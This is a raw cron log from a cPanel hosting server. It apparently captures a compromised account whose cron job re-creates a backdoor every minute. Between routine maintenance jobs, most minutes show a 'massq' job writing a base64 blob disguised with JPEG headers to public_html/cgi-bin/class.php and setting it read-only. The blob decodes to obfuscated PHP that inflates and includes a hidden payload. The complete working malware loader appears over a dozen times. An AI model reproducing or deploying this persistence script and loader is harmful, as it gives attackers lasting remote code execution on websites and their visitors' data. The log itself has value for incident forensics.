Sep  5 20:45:01 server CROND[24339]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:45:01 server CROND[24344]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:45:01 server CROND[24341]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:46:01 server CROND[25253]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:46:01 server CROND[25256]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:46:01 server CROND[25255]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:47:01 server CROND[25634]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:47:01 server CROND[25635]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:47:01 server CROND[25636]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:48:01 server CROND[26009]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:48:01 server CROND[26010]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:48:01 server CROND[26012]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:49:01 server CROND[26397]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:49:01 server CROND[26399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:49:01 server CROND[26398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:50:01 server CROND[26782]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 20:50:01 server CROND[26785]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:50:01 server CROND[26790]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:50:01 server CROND[26792]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:50:01 server CROND[26794]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:50:01 server CROND[26789]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:50:01 server CROND[26796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 20:50:01 server CROND[26793]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:50:01 server CROND[26795]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:51:01 server CROND[27720]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:51:01 server CROND[27721]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:51:01 server CROND[27722]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:52:01 server CROND[28094]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:52:01 server CROND[28095]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:52:01 server CROND[28096]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:53:01 server CROND[28462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:53:01 server CROND[28463]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:53:01 server CROND[28464]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:54:01 server CROND[28833]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:54:01 server CROND[28834]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:54:01 server CROND[28835]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:55:01 server CROND[29211]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 20:55:01 server CROND[29214]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:55:01 server CROND[29213]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 20:55:01 server CROND[29215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:55:01 server CROND[29219]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:55:01 server CROND[29217]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 20:55:01 server CROND[29216]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 20:56:01 server CROND[30048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:56:01 server CROND[30049]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:56:01 server CROND[30050]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:57:01 server CROND[30512]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 20:57:01 server CROND[30513]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 20:57:01 server CROND[30514]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 20:57:01 server CROND[30515]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
